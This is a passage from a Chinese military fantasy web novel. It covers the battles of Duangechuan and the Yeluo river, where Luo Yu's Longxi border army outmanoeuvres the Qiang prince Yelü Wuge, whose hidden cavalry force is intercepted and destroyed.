自始至终耶律乌戈都没有出兵相救,给守军下达的军令就是死守,死守到底。
他显然是打算在断戈川与乾军决战。
遥望对面,同样是长枪林立,旌旗蔽野。
羌兵善战,草原人天生凶狠,虽然屡战屡败,但军心士气并没有想象中那般萎靡,尤其是那面逐日皇旗,威武不凡。
羌军在阵前摆下了层层鹿角,甚至提前用木桩石块垒起了一道道低墙,战马在这种防御之下的冲击力会大大减弱。
而且羌军以步阵为先,千人一营,盾牌长枪结阵;各营之间拉开距离,互相呼应,弓弩手居中策应,骑兵在后压阵。
整体呈现出一种守势,并没有主动进攻的意思。
说白了,你乾军想赢就来攻!
“好硬的乌龟阵啊。”
萧少游目光紧凝:
“一时半会儿估计啃不下来。”
众将神情凝重,他们很清楚这种大规模交战一天是打不完的,战事只怕要持续到第二天。
“既然来了,总要分出个胜负的。
开战之后战事就由你来指挥吧,我们一营一营的啃,就算赢不了也得消耗敌方的战力。
等奇兵一到,自然能赢!”
洛羽抬头远望,只见敌阵中那面绣着银色狼纹的皇旗越阵前出,直奔战场中央,队伍中还有一道熟悉的身影。
“我去会会他。”
洛羽冷笑一声,领着一队亲兵飞奔阵前。
帅旗在风中猎猎作响,洛羽和耶律乌戈二人再次于阵前相会。
耶律乌戈面无表情地说道:
“没想到当初边军一小卒,今日竟能把我逼到这一步,真是让本殿意外啊。
陇西边军确实比以前厉害了许多。”
“让你意外的事情还有很多。”
洛羽喃喃道:
“其实我本来想说,你退兵,两朝罢战,但我知道你绝不会退的。”
“退?我凭什么退?”
耶律乌戈讥讽一笑:
“真以为自己打赢了几场仗,我大羌就拿你没办法了?这里是关外,是我草原男儿的主场!
想赢,就拿命来啃!”
冰冷的话语早在洛羽预料之中,目光缓缓扫过四周黄沙:
“断戈川还真是块好地方啊,埋在这也不错。”
“凭你也想杀我?”
“怎么,不能杀吗?你们羌人屠杀了多少手无寸铁的百姓,总得血债血偿吧?”
“笑话!一群蝼蚁罢了!”
耶律乌戈笑了:
“本殿乃大羌九皇子!你一个区区持节令,说白了军中暴发户罢了,凭什么跟我斗!
此战,定是你死!”
“能不能杀你,一战便知!”
“好,本殿就等着你,看你陇西边军有多少人可以死!”
两面帅旗各自归阵,一股杀意陡然在天地间升腾。
寒风呼啸,黄沙呜咽。
狂风卷起漫天灰尘,糊得人睁不开眼。
两位主帅遥遥相望,同时说了一句:
“开战吧!”
……
“轰隆隆!”
大批骑军在黄沙中急速奔驰,马蹄印踩出一条长龙,翱翔天地。
踏着百姓们的肩膀,怀揣陇西百姓的仇,五千精骑越过了曳落河,开始抄近路直插断戈川。
全军上下依旧只穿布衣,轻装简行,所有战甲、军械都靠仅有的几百匹辅马驮运,马背都被压弯了。
这样能尽可能地节省坐下战马的体力,确保抵达战场后有一战之力。
“哒哒哒!”
前方出现了一连串的小黑点,曹殇定睛一看:
“游弩手?”
“不太对劲啊。”
顶着扑面而来的狂风,霍连城皱眉看了一会:“怎么就十几个人?”
游弩手越来越近,两人已经能清晰地看看到一群人浑身鲜血,曹殇目光微变,抬手怒喝:
“停!”
“嘶嘶嘶!”
战马一阵嘶鸣,沐峰疾驰而来,马未停声先至:
“将军,出事了!敌军!有敌军!”
沐峰甲胄破碎,浑身血污的模样吓了两人一跳:
“怎么了!慢慢说。”
“羌骑,前方发现了大队羌骑,足有近万兵马!”
“什么!”
开头一句话就让两人面色大变,随即沐峰就把侦查到的军情详细说了一遍,曹殇和霍连城的脸色从错愕到震惊,最后已经是铁青。
堪称惊天变故啊。
沐峰红着眼:
“为了,为了把军情传出来,齐田带着伤兵断后,都,都……”
“辛苦兄弟们了。”
曹殇轻轻地安抚着沐峰,眼神冰冷:
“我们现在该考虑的是怎么应对这支羌骑了,召集所有都尉以上军官!”
呼啦啦几十号汉子围了过来,众人围坐成一圈,曹殇用几块石子摆出了敌我双方的态势。
得知消息的众人神情凝重,甚至可以说焦急。
霍连城沉声道:
“沐峰的推测没错,八千之众的敌军只可能是草原来的援兵,行军方向也是断戈川,想从背后偷袭我军,凑巧被我们撞见了。”
一名老资历的都尉黑着脸:
“八千骑啊,如果让他们抵达断戈川,对我大军主力将会造成毁灭性的打击。
哪怕现在派斥候去传信也来不及了,上万步卒随行,不可能这么快撤出战场。”
众人面色阴沉,这一战若是打不好,全军覆没都有可能。
又有人说道:
“或者我们急速行军,先羌骑一步抵达战场,然后掩护主力徐徐后撤,或许能避免一场大败。”
“难。”
霍连城眉头紧皱:
“游弩手的踪迹已经被发现,羌兵一定会急行军,能不能比他们快很难说。
就算真比他们快一点,羌军会让我们安心后撤吗?这里是关外,随军只带了三天的干粮,拖他们也会把我们拖死。”
“所以只有一条路可以选。”
沉默许久的曹殇终于说话了:
“我们不去断戈川,全军改道,半路截住这支羌骑!”
曹殇用枯树枝在黄沙中一划拉:
“他们无非是想从背后奇袭我军,他们想去,我们就一兵一卒不让他们过!
咱们不一定能比他们先一步到达断戈川,但超近路,从山谷中斜插,能在二十里外把他们堵在曳落河畔!
两方的奇兵都没能到战场,有洛将军在,大军就算不能大胜也可以小胜。
优势依然在我!”
曹殇的想法让众人面色一边,有人小心翼翼地说道:
“将军,按时抵达断戈川可是军令啊,您和霍将军都是立了军令状的。
中途改变行军方向可是战场抗命,这,这……”
战场抗命可是杀头的大罪!
曹殇冷声道:
“只要不让羌骑过去,我军至少不败!但八千骑杀入战场,胜负就不知道了。
我们冒不起这个险!
我是主将,我说了算!
战后就算要杀头,我曹殇一人承担!”
“还有我!”
霍连城目光坚定:
“听你的!要杀头就一起杀!”
曹殇环视一众都尉:
“五千骑要截住八千骑,是一场硬仗,按照沐峰所言,这一支羌骑乃是精锐。
丑话我先说在前面,这一仗会死很多人,甚至全军覆没。
你们去不去?”
“轰!”
几十号汉子齐刷刷地站了起来,怒喝一声:
“愿随将军一战!”
“很好,不愧是陇西男儿!”
曹殇攥紧拳头,怒喝一声:
“全军披甲!”
第239章曳落河畔闻死战
“弓弩手预备!”
“放!”
“嗖嗖嗖!”
“大军进攻!杀!”
双方在断戈川打了整整一天,从早到晚,喊杀声终日不绝。
羌兵摆出来的乌龟阵确实硬,以木墙、石碓、鹿角、铁蒺藜为屏障,层层拒马;后面还有长枪盾牌弓弩,节节抵抗。
如此严密的阵型,骑军一时半会派不上用场,所以第一天的战斗基本上是步卒出战,骑军策应。
君沉、凌桐、石敢的三军步卒轮番出击,在萧少游的排兵布阵下不断攻敌弱点,一会儿两点一面攻其要害,一会儿声东击西、虚张声势,各种战术都用遍了,一天激战下来勉强攻克几座军阵。
天色渐黑,双方十分默契地选择了停战。
停战不意味着撤军,双方就隔着战场原地休息,密密麻麻的篝火照亮了夜空,宛如两头巨兽匍匐在地,狰狞凶残。
晚风呼啸,战场中央躺着许多冻僵的死尸,乾军羌兵都有,他们已经看不到第二天的太阳了。
一杆长枪斜插在地,枪头贯穿了羌兵的胸膛,边上还有一名被箭矢射成马蜂窝的定州步卒,血污不堪。
沙场就是如此残酷、无情。
众将齐聚在篝火旁,寒风拍打在脸上丝毫不觉得冷,只觉得胸中充斥着战意。
萧少游刚刚汇报完一天的战况,最后说道:
“咱们虽然攻下了几座方阵,但羌军的六千主力骑军并未出动,明天只怕还有一场恶战啊。”
“咱们的目的反正是吸引羌兵的注意力,没必要死磕。”
凌桐沉声道:“算算时间,明天一早曹将军与霍将军就会抵达战场,到时候我们前后夹击,定能一战功成!”
“只怕事情没这么简单啊。”
洛羽的眉梢间带着些许疑惑:
“我们一直说耶律乌戈想赢,一万五千兵马不算少了,有能力与我军一战。但从早到晚他们都采取守势,防守怎么能赢?
不觉得奇怪吗?”
“我也觉得不对劲。”
萧少游抱着膀子嘟囔着:
“今天羌兵给我的感觉像是换了一个人在指挥,完全没有耶律乌戈此前带兵的那种拼劲、凶悍。”
“事出反常必有妖!”
君墨竹犹犹豫豫地问道:
“耶律乌戈会不会有什么后手?”
“后手?不应该啊。”
萧少游沉思许久:
“一万五千兵力都摆在正前方,哪来的后手?游弩手已经将搜寻范围扩大到了方圆二十里,并未发现任何异样。
还能有什么后手?”
“难道说?”
洛羽突然想到了什么,猛然抬头:
“耶律乌戈和我们打着同样的主意!”
萧少游目光微变,两人几乎是异口同声的说道:
“派军绕行,奇袭我军腹背!”
众人豁然抬头,如果耶律乌戈真有后手,那就只有这一种可能!唯有绕过正面战场才会摆脱斥候的探查。
“将军,沐峰回来了!”
岳伍的惊呼打断了众人的沉思,当甲胄破碎,浑身血污的沐峰出现在视野中时,所有人都意识到出事了。
曹殇转道截击羌骑,总该派人来报信,沐峰自告奋勇地接下了任务,两天两夜没合眼的他满眼血丝,咬牙抱拳:
“卑职有重要军情汇报!”
……
乾军营中惊觉大变,而耶律乌戈却悠哉悠哉地回到了帅帐,帐内还有火炉烘烤。
刚和美姬厮杀了一场,九皇子浑身舒畅,只有双腿略微发软。
兀良平早早地候在这里,耶律乌戈并不关心白天的战况,随口问了一句:
“拔都鲁的兵到哪儿了?”
“回殿下,骑军一直在急行军,一天都没军报传回来了。但是按照计划,八千骑应该已经绕行曳落河畔,预计明天一早就能抵达乾军腹背。”
“啧啧,好啊,哈哈。”
耶律乌戈十分舒畅地笑了:
“区区一个武夫,也妄想于本殿争锋!”
耶律乌戈为什么敢毫不犹豫地迎战?为什么敢以弱势兵力驻军关外不走?
因为他有底气!
整个乾军都觉得草原的援兵不会那么快到来,起码要等开了春才会增兵。
但实际上耶律乌戈的亲笔信刚送回草原,八千精骑就踏上了征程,半个月的时间足够他们抵达前线。
不过就在援兵即将抵达断戈川之际,洛羽的战书送到了耶律乌戈手中,他当即手掌一挥,让八千精骑绕道而行,直插乾军腹背。
和洛羽一模一样的战术!
但他的兵力更胜一筹!
“殿下真是智谋无双啊。”
兀良平冷笑道:
“明天大军一到,乾军只有覆灭一途!”
“没错!”
耶律乌戈满脸恨意,攥紧拳头:
“本殿要让乾军的死尸,铺满断戈川!”
……
日初东方
景丰十一年的第一天缓缓到来。
数以千计的雄壮战马在黄沙中狂奔,土黄色的胡服弯刀一看就是羌兵打扮,骑队朝着断戈川一线笔直前插。
领军之将拔都鲁,西羌万户猛安!身后八千精骑皆乃敢战之卒!
拔都鲁心中默默算了一下,此地距离断戈川只剩三十里,要不了两个时辰就能抵达战场。
“将军你看!”
刚刚越过一片黄沙丘陵,远远就看见前方矗立着一座骑阵,就像一头拦路虎彻底挡住了羌骑前进的道路。
“大军停马!”
“嘶嘶嘶!”
随着一声怒吼,大军渐次停马。
“这就是现在的陇西边军吗,确有几分气势。”
拔都鲁目光冷厉,作为沙场悍将,他能明显感受到这支骑军与以往边军的不同。
不对,准确来说他以前就没见过敢出关作战的陇西边军。
身侧的副将眉头紧皱:
“夜里那队斥候虽说逃走了十几人,可乾军的速度也太快了吧,这么短的时间就能派出数千兵马拦路?”
“我觉得不是他们动作快,而是凑巧了。”
作为沙场老手,拔都鲁的脑子转得很快:
“乾军大概率也想着从背后偷袭,结果半路发现了我们,就转道来拦截。
一场遭遇战啊。”
“哼哼,区区四五千兵马也想拦住我们?”
副将讥讽一声:“找死!”
“不要掉以轻心,开战以来死在他们手里的万户猛安还少吗?朝野震动!”
拔都鲁目光凝重,手掌轻挥:
“不想死在就得拼尽全力,尽快打垮他们,然后驰援断戈川。”
“备战吧!”
“诺!”
一声声凄厉的号角之下,羌兵迅速铺开进攻锋线,只待一声令下便可发起进攻。
“八千羌骑,好大的阵仗啊。”
霍连城轻声呢喃,下意识握紧了手中长矛,两军加起来一万三千骑兵,算是开战以来最大规模的骑战了。
“驾!”
曹殇策马回转,望向全军将士:
“将士们!你们大多是我和霍将军的老部下,以前都是干的佣兵勾当,杀人放火、打家劫舍的恶事没少干。
说出来没什么好丢人的,因为我们只是为了活下去,只是被这肮脏的世道逼得身不由己。
可如今我们跨上了战马、披上了铁甲,成了边军将士,以前那些恶事就不能干了。
边军将士该做什么?
洛将军说过,军人当为家国天下之坚盾!护我山河!”
“轰!”
全军齐行军礼,人人目光炙热。
没错,曹殇与霍连城的老部下占了两营的大多数,以前就是佣兵,甚至不少人还为了银子欺负过老百姓。
一开始他们不懂什么是边军,但这次征战边关,亲眼目睹了一场场大战,目睹了无数次生离死别,百姓蒙难,他们越发明白边军这两个字的含义。
曹殇继续策马,语调不断拔高:
“还记得陇西百姓被羌人残杀的惨状吗!”
“嚯!”
“还记得屠刀之下的森森白骨吗!”
“嚯!”
“还记得在寒风中跳入河水,用肩膀托着我们渡过曳落河的父老乡亲吗!”
“嚯!”
一声声怒吼,全军的士气在不断拔升,怒意充斥着每个人的眼眸。
“我不懂什么家国天下的大道理,我只知道陇西是我们的家,是生我养我的地方。
想要践踏我们的家园,就只能从我们的尸体上踩过去!”
“杀,杀,杀!”
三声嘶吼冲天而起,士气暴涨。
曹殇咬牙切齿地指向对面:
“五千骑对八千骑又如何?我陇西人人是男儿,铁骨铮铮,何惧敌寇!
今日我不仅要拦住羌骑,还要吃掉他们,屠尽八千羌骑!
我们能赢,而且一定赢!
就让曳落河畔成为他们的坟墓!”
曹殇怒问全军:
“怎么赢?”
霍连城率先厉喝:
“唯死战耳!”
“轰!”
全军怒吼:
“死战!”
寒风裹挟着细小的沙砾拍打在脸上,曹殇长出一口气,缓缓提枪前举,用尽浑身力气怒吼一声:
“起矛!”
第240章帅旗前压三军动!
一声鹰啼撕裂云霄,寒风凌冽。
两座骑阵同时展开对冲,马蹄声逐渐轰鸣,一波波锋线犹如浪潮滚滚。
羌骑嘶吼狂叫,全军杀气凛然,战意旺盛,甚至说带着一股蔑视。不管前线的军报说边军如何如何,在他们眼里陇西人还是和以前一样,都是乌合之众。
茫茫黑甲在无声中前冲,马背上冰冷的面庞让第一次与边军交手的拔都鲁眉宇微皱,心中没来由地升起一股警惕。
这支骑军不对劲!
锋线逼近,两军临阵,一声冲天怒喝响彻曳落河畔:
“杀!”
“砰砰砰!”
“嗤嗤嗤!”
长矛高举,悍然凿阵!
前排冲阵的悍卒皆是两营精锐,早就将身姿调整到了最适合凿阵的状态,一杆杆长矛笔直刺出,稳准狠地没入羌兵胸膛。
曹殇手起枪落将正面之敌捅飞出老远,强劲的力道使得整截枪尖破体而出,继而贯穿了下一名敌骑的胸膛。
一枪两命,死尸砰然坠地,四周羌兵皆惊。
一名千户谋克被曹殇的枪法惊到了,但眼中更多的是一抹凶悍,挺强怒喝而来:
“乾军小儿,可敢通报姓名!”
曹殇眼神一冷,嘴角勾起一抹森然笑意:
“将死之人,也配问本将姓名!”
话音未落,他猛然催动战马,枪出如龙,笔直突刺。
“好快的枪!”
千户谋克一愣,仓促横枪格挡,却见曹殇手腕一抖,枪尖骤然变向,自下而上斜挑而入,“噗嗤”一声贯穿其咽喉。
鲜血喷溅间,曹殇单臂发力,竟将血淋淋的尸体高高挑起,甩向敌阵,砸得身后羌骑人仰马翻。
“哈哈,曹兄好俊的枪法,看我的!”
并排前冲的霍连城朗笑一声,脸上看不出半点慌乱,反而有一股豪情升起,持枪纵马突入敌阵,一柄凉矛横挥,抡出漫天寒光,枪尖过处血肉横飞。
“挡我者死!”
三四名羌骑联手逼近身侧,霍连城怒喝一声,一招秋风扫落叶势大力沉,三名羌骑应声而倒,一人咽喉直接被割出血痕,当场毙命;另外两骑被枪杆狠狠砸中胸口,胸骨尽碎,翻身坠马。
人虽未死,可坠马羌骑的目光中满是绝望,因为数不清的马蹄即将踏碎他们的躯体。
一名百夫长见状顺势摘下了马背上的弯弓,目光诡谲,引弓搭箭,一支利箭破空袭来。霍连城不闪不避,右手长矛一抬,“叮叮”两声磕飞箭矢,紧跟着左手顺势抽刀,那百夫长尚未反应,便被刀刃劈开面门,凄惨无比地栽落马下。
“杀!”
两名悍将领衔冲锋,三百悍卒一字排开,狠狠杀入敌阵,人人悍不畏死,长枪出手必有鲜血飞溅。
如此凶悍的打法令本有些轻敌的羌兵错愕不已,一时间前排骑卒坠马者无数,紧跟着便是一波又一波锋线杀入阵中,犹如江涛拍岸,滔滔不绝。
所有人的脸上都带着一股杀意,一股恨意!
这是陇西人与羌人的世代血仇!
“好强!”
拔都鲁的表情已经不是郑重了,而是惊愕,敌军之强远超他的想象,心中甚至泛起一股不安。
一轮凿阵很快,转身就是第二轮冲锋,毫无间隙可言。
双方军卒都在竭力调整呼吸,羌骑已经不敢有丝毫轻视了,因为遗留在战场中的尸体告诉他们,己方没有任何优势!
“杀!”
乾军在阵中疯狂凿进,一如既往的凶悍。
但刚冲到一半,曹殇与霍连城隔着遥遥战场一个对视,嘴角同时勾起一抹冷笑:
“分!”
“轰隆隆!”
原本笔直凿阵的骑军突然从中间一分为二,以两位主将为尖头,呈锥形锋线往两翼斜刺杀去。
陡然的变阵让羌兵有些蒙了,这种打法超乎常理啊,因为在密集的骑阵中改变前冲方向会面临极大的阻力,尤其是前排骑卒,不仅要迎战正面之敌,还得担心被侧面之敌撞翻。
羌军愕然无比,做不出任何反应,只能继续前冲。
两座锥形阵不断冲杀,所有百战老卒自发来到了骑阵最外侧,去迎接最猛烈的冲击,确实压力极大,伤亡也比刚刚要大。
但这种压力是短暂的,眨眼间曹殇与霍连城就已经跃阵而出,两人片刻不停,领着骑队急速转向。若是从高空俯视你就会发现,两支骑军正好从骑阵中央杀出,一个转身之后咬住了羌军的后背。
也就是说从现在开始,羌兵只能用后背迎敌了。
你用后背去接长矛弯刀吗?
这一刻拔都鲁的脸色豁然大变。
曹殇狞笑一声:
“谁说五千骑打不过八千骑!”
“杀!”
……
曳落河畔开战的同时,断戈川的两军主力再次列阵,遥遥相对。
战场中央的尸体早已冻得僵硬,几面残破的军旗孤零零地在风中飘散,所有人的鼻腔中都充斥着一股血腥味。
出人意料的是两军并未立刻开战,只因两位主将又一次在阵前相见。
耶律乌戈望着黑压压的军阵以及四周的死尸:
“打了一天,洛将军还觉得自己能赢吗?”
“当然。”
洛羽微微一笑:“你必败无疑!”
“噢?洛将军很有自信啊。”
耶律乌戈讥笑一声:
“如果我说,必败的是你呢?”
“凭什么?凭你从草原调来的八千援兵吗?”洛羽漫不经心地说道:“如果这就是你的依仗,那我只能说你还没资格赢!”
九皇子脸上的笑容瞬间凝固:
“你怎会知道?”
别看耶律乌戈的表情还算镇定,可心中已经泛起了惊涛骇浪,如果洛羽知道有援兵还敢出战,那就说明他胸有成竹!
洛羽笑了笑:“你怕了?”
只是微微顿了片刻,耶律乌戈便自顾自地摇了摇头:
“不会的,八千骑秘密调动,连草原内部都鲜有人知,你不可能提前知道我军的部署。我猜,洛将军也派了一支骑兵想从背后偷袭断戈川吧?两军迎面撞上了,所以你才会知道。”
洛羽还是没吭声。
“果然被我猜中了。”
耶律乌戈也笑了:
“你麾下主力齐至,能用的骑兵应该只有曹殇和霍连城两营,加在一起区区四五千兵马,呵呵,难道还敌得过八千骑!
洛羽,你输定了!”
“现在就谈胜负,为时尚早。”
洛羽策马回转,冷冷丢下一句话:
“今日死的一定是你!”
洛羽刚回到己方阵前,耶律乌戈陡然高喝了一句:
“待我八千铁骑杀到,定教你们有来无回!”
“此战我大羌必胜!”
萧少游和君墨竹几乎是异口同声地骂了一句:
“卑鄙!”
他为何要喊这句话?仅仅是喊给洛羽听的吗?
不,他是喊给数以万计的乾军士卒听的,是想打击己方的军心士气!
果然,吼声传向四面八方,不少军卒的脸色都变了,八千骑这几个字不断在他们耳中回荡。
八千骑啊,足以奠定这场战事的胜负,足以将他们杀得片甲不留!
“呜!”
“呜呜!”
凄厉的号角声陡然响彻云霄,乌龟壳一般的羌兵大阵缓缓分开,五千精骑策马行出,至中央列阵。
今天的羌兵不会再守了,而是要正大光明地与乾军开战。
耶律乌戈坚信拔都鲁一定能打垮曹殇,驰援断戈川,他要做的就是在援军抵达之前彻底搅乱乾军的阵势!然后等拔都鲁到来,一锤定音!
阵中军心浮动,一众武将面色阴沉,毕竟这是边军第一次出关百里作战,很多人心中还是带着疑虑的。
洛羽翻身上马,朗喝一声:
“将士们!”
“轰!”
“二十年来,你们是第一批抵达断戈川与羌人交战的边军,我知道很多人心中会怕、会慌,因为二十年来边军孱弱,屡败屡战!这是我陇西的耻辱!”
洛羽环视全场:
“但你们不一样,你们的刀下杀过数以万计的羌贼!你们是从尸山血海中磨练出来的精锐军卒!能站在此处的都是勇士!”
“关外又如何?”
“寇可往,吾亦可往!”
短短几句话,所有将士的眼神再度炙热。
没错,他们已经赢下了一场场战事,断戈川同样会赢!
一众武将神色恍惚,满腔热血沸腾:
寇可往,吾亦可往!
洛羽策马军前,横枪一握:
“今日太阳落山之前很多人会死,但我告诉你们,胜利一定属于陇西边军!
你们要做的就是跟着我,前冲!前冲!哪怕本将战死,你们也得继续前冲,直到打垮敌军的那一刻!
陇西的大好河山,岂容羌贼染指!”
“陇西必胜!”
“必胜!”
一声声震天怒吼令人心潮澎湃,所有人的眼中再无慌乱,因为他们的主帅会冲锋在前!
他是边军的魂!
玄甲在身,孤影独立。
洛羽抬枪高举,怒喝一声:
“帅旗前压!”
“开战!”
第241章谁说我只有一支奇兵!
玄甲持枪,帅旗前压!
一千亲卫呼啸而出,洛羽居中,帅旗立于身后,岳伍、许韦一左一右,三人无形中组成了一把尖刀。
五千羌骑滚滚而来,呼喝声此起彼伏,声势浩大。
两军大战,一触即发!
主帅都出战了,其余各营岂能白白看着?一道道军令从萧少游的口中传向四面八方:
“寒羽骑先行,跟上中军!”
“虎豹骑、血归军出战,攻敌两翼,破开拒马阵!”
“三军步卒,大阵前移……”
“嚯嚯!”
各营军卒紧急调动,一队队骑军先后涌出大阵,寒羽骑动作最快,两千悍卒纵马而出,跟在了一千亲兵身后,虎豹骑与血归军直插左右两翼,马蹄声震耳欲聋。
洛羽一马当先,浑身杀意毕露。
其实此次乾羌开战,他亲自领军冲锋的次数极少,但今日不一样了。
两军决战,自当主将先行。
“洛”字玄旗迎风而立,千万将士在冲锋途中都会不由自主的看一眼最前方的帅旗。
一句帅旗前压,振奋人心!
主帅陷阵,三军敢不效死命?
一千骑对五千敌,人人面色悍然,一杆杆长枪斜举冲前,吞吐着瘆人的杀意。
整个阙州军伍最精锐的是虎豹骑吗?是血归军吗?
不,是洛羽麾下的一千亲卫!谁手里不攒着几颗人头的军功?他们才是真正从尸山血海中拼杀出来的!
“寒羽骑!”
“嘶嘶嘶!”
落后一步的两千精骑同时弯弓搭箭,箭弦拉满,直冲云霄。
“放!”
“嗖嗖嗖!”
漫天箭雨当头砸落,羌军前锋顿时有上百骑中箭毙命,一片哀嚎。
领军冲阵的兀良平一枪击落几支箭矢,怒目圆睁:
“不要乱,杀!”
骑阵陡然加速,羌军同样老练,很清楚面对泼天箭矢决不能躲,只能不断前冲!
数以千计的战马狂奔,溅起尘土飞扬,蔚为壮观。
两军临战,洛羽持枪怒喝:
“犯我陇西者!”
全军气势暴涨:
“死!”
千骑犹如猛虎下山,极为凶悍地凿入敌阵,低沉的碰撞声中夹杂着飞溅的血花。
长枪在洛羽手中飞舞,上下迭出,既带着杀伐又让人觉得分外飘逸,枪法极为精湛,枪尖所过之处羌骑纷纷坠马,大杀四方。
几名羌军悍卒联手逼近身前,还未出招便觉得眼前寒芒闪过,枪尖已然划破了自己的胸口,当场毙命。
岳伍和许韦两人也凶悍无比,任何敢靠近帅旗的敌军都被一枪捅穿下马,一千亲兵营杀入敌阵浑然不惧。
纵使千军万马又如何?
谁敢与我争锋芒!
千骑凿阵,寒羽骑在后不停地放箭,箭雨始终落在锋线前端三十步的位置,也就是说羌军刚遭受一轮箭矢打击就得迎接精骑的凿阵。
前后呼应,配合极为默契。
“陇西边军确实骁勇啊,长此以往必将是我大羌的腹心之患。”
耶律乌戈目光微凝,他已经不敢再轻视洛羽分毫。
这位大羌九皇子脱去了华丽的锦衣,取而代之的是一身精甲,威风凛凛,整个人的气质也从纨绔子弟变成一员沙场悍将。
草原男子,何人不会弓马刀枪?
他们这些皇子虽说含着金钥匙出身,可不经历血与火的拼杀又怎么从残酷的斗争中活下来!
耶律乌戈身后有两千骑驻足,这是他手中仅剩的一支骑军,平日里一直充当中军护卫。
漫天喊杀声中,两千骑面无表情,纹丝不动,能被耶律乌戈留到最后出场的自然是精锐。
耶律乌戈在等,在等一个绝佳的出战机会。
“骑军出击!破其步阵!”
“杀!”
中央战场在交战,两侧同样吼声震天。
虎豹骑蒙虎、魏野,血归军吕青云、楚澜,四员悍将各领一军,分头突击。
一波波骑兵如潮水般撞在羌兵阵前,人人悍不畏死,雄壮的马蹄将一面面盾牌撞得四分五裂,继而一枪捅穿盾牌背后的羌兵。
面对密集的枪阵,骑兵同样有伤亡,羌军红着眼狠狠捅出长枪,不断有精骑人马挂尸而亡,鲜血四溅。
战争就是如此恐怖,人命如草芥般流逝。
一众将军里最显眼的就是蒙虎了,单枪匹马冲锋在前,面对坚固的盾阵纵马一跃,连人带马腾空而起,精铁长枪横挥而出,重重砸在盾牌表面:
“砰砰砰!”
强劲的力道直接将几名步卒砸飞出老远,阵前人仰马翻,一群羌兵惊骇不已,这是何等神力啊!
蒙虎狞笑一声:
“你们可闻虎痴之名!”
“给我杀!”
在战马一轮轮的冲击之下,乌龟壳终于露出缝隙,被强行撕开一道道缺口,紧跟着就是三军步卒出战、杀入敌阵,不断扩大优势。
无数箭矢在头顶飞舞、愤怒的吼声顺着寒风飘向四面八方,从清晨打到正午,乾羌两军三万兵马已经完全混在了一起,几乎快演变成一场大混战。
“该我们了。”
耶律乌戈手掌轻挥,身后两千精骑终于越阵而出,犹如一支利箭杀入战场。
“洛羽,今日就跟你分个胜负!”
“给我杀!”
耶律乌戈仰天长啸,浑身舒畅,仿佛胜券在握。
两军所有士卒都投入了战场,无非就是不停地拼人命罢了,等拔都鲁击败曹殇,援兵抵达断戈川,这一场胜利自然会被他收入囊中。
乾军将台
君墨竹忧心忡忡:
“这一场仗不好打啊,咱们手里已经没有一兵一卒。虽说我军现在略占上风,可羌兵战意旺盛,一时半会绝不会溃败。
就算我们能赢,将士们也会战至力竭,如果,如果曹将军输了,八千羌骑来袭,我们怎么办?”
“输?我们不会输的。”
萧少游显得十分镇定:
“谁说我们一兵一卒都没有了?”
“我们哪还有兵?”
君墨竹茫然无比,将台四周除了上百号卫兵和传令兵已经空空荡荡。
“我说有就有!”
萧少游的嘴角竟然勾起了一抹笑意,抬手怒喝:
“响箭!”
“咻!”
凄厉的破空声撕裂寒风,响彻云霄。
战场为之一静,所有人愕然抬头,不管是羌兵还是乾军都不明白响箭的意义何在。
“隆隆!”
“轰隆隆!”
马蹄声突兀响起,黄沙震颤,茫茫黑甲陡然跃出地平线,天地变色!
一面“陆”字将旗迎风而立,陆铁山苍老中带着不满的骂声响起:
“妈的,为何每次都让老夫最后抵达战场!”
“陆老将军?你们竟然从云阳关调兵!”
君墨竹目瞪口呆,萧少游则讥讽一笑:
“谁说我们只有一路奇兵!”
云阳关守军开拔,全军上下只有洛羽和萧少游知情!
两千精骑渐次铺开进攻锋线,陆铁山长枪向前,怒吼出声:
“在云阳关看戏这么久,也该轮到我们第八营了!谁敢给老夫丢人,我第一个剁了他!
给我杀!”
“死战!”
这一刻,耶律乌戈脸色煞白。
第242章曳落河,骑战第一!
曳落河畔
曹殇与霍连城躺倒在血泊中,大口大口的喘着粗气,双目怔怔地看向天空,眼眸中夹杂着深深的疲惫。
二人甲胄破碎,肩膀上和大腿处都有伤口,随意用破布一缠,血污不堪,压根分不清是敌人的血还是自己的血。
精疲力竭,两人连坐起来的力气都没有。
“好累啊。”
曹殇的手在地上胡乱地摸索着,总算摸到一个水囊,大口大口往喉咙里灌,明明是躺着也不怕呛到。
喝了一半他就扔给霍连城,霍连城猛喝几口,然后将最后一点水往脸上一浇,一把摸去脸上的血污,骂骂咧咧:
“妈的,差点就死这了。”
他的胸甲上插着一支短箭,箭头正对心脏中央,若不是铁甲防护,霍连城已经去见阎王了。
“没事,这不是没死吗。”
曹殇咧嘴一笑,拄着一把苍刀踉踉跄跄地站起身,目光狰狞:
“能杀老子的人还没生出来呢!”
羌军主将,万户猛安拔都鲁就跪在两人身前,耷拉着脑袋,鲜血顺着嘴角拉出长丝,一直滴到地面,悬在半空的手臂不断发抖,大腿处有一道触目惊心的枪伤,森森白骨都被捅了出来。
凄惨无比。
放眼整座战场,尸横遍野,残肢断臂随处可见,些许黑甲骑兵正在四处游荡,发现还活着的羌兵立马就补上一刀,送他转世投胎。
羌兵大败!
“嘶,嘶~”
拔都鲁没死,还能喘气,但他连抬头的力气都没有了,昏暗的眼眸中满是绝望与窒息。
他不明白,为什么八千悍卒敌不过五千陇西边军,要知道以前的陇西边军在他们眼里犹如土鸡瓦狗,一触即溃,可今日他对上的每一名骑卒都凶悍异常,几次凿阵打得他全军溃散。
“为什么,为什么?”
拔都鲁茫然地摇着头,心知必死的他连抵抗的心思都没了。
曹殇冷笑一声:
“很简单,陇西边军今非昔比了!”
“噗嗤!”
冰冷的刀锋割开了他的咽喉,所有骑卒都望向了两位主将,目光那叫一个炙热啊,哪怕人人负伤,依旧藏不住眼眸中的自豪!
曹殇没有骗他们,他们不仅能挡住八千敌骑,更能战而胜之,将敌军全都吃掉!
“众将士!”
曹殇翻身上马,怒喝一声:
“咱们去断戈川再战一场!”
大乾历,景丰十一年正月初一
五千陇西边军于曳落河畔全歼八千羌骑,曹殇、霍连城一战成名,震动三州。
多年后史家定论:
曳落河血战乃陇西一统前骑战第一!
……
“杀!”
“砰砰砰!”
“铛铛铛!”
断戈川成了一座血肉磨坊,双方数万军卒涌入这片平原争斗厮杀,刀对刀、枪对枪,没有黄沙漫漫的寂寥,只有血与火的残酷!
从清晨到黄昏,战斗一刻不止。
一开始洛羽率亲兵开阵,全军猛攻的时候,羌兵略显颓势,但依旧有一战之力,起码能勉强结阵对战,但当陆铁山的两千骑杀入战场之后他们再也无力抵抗。
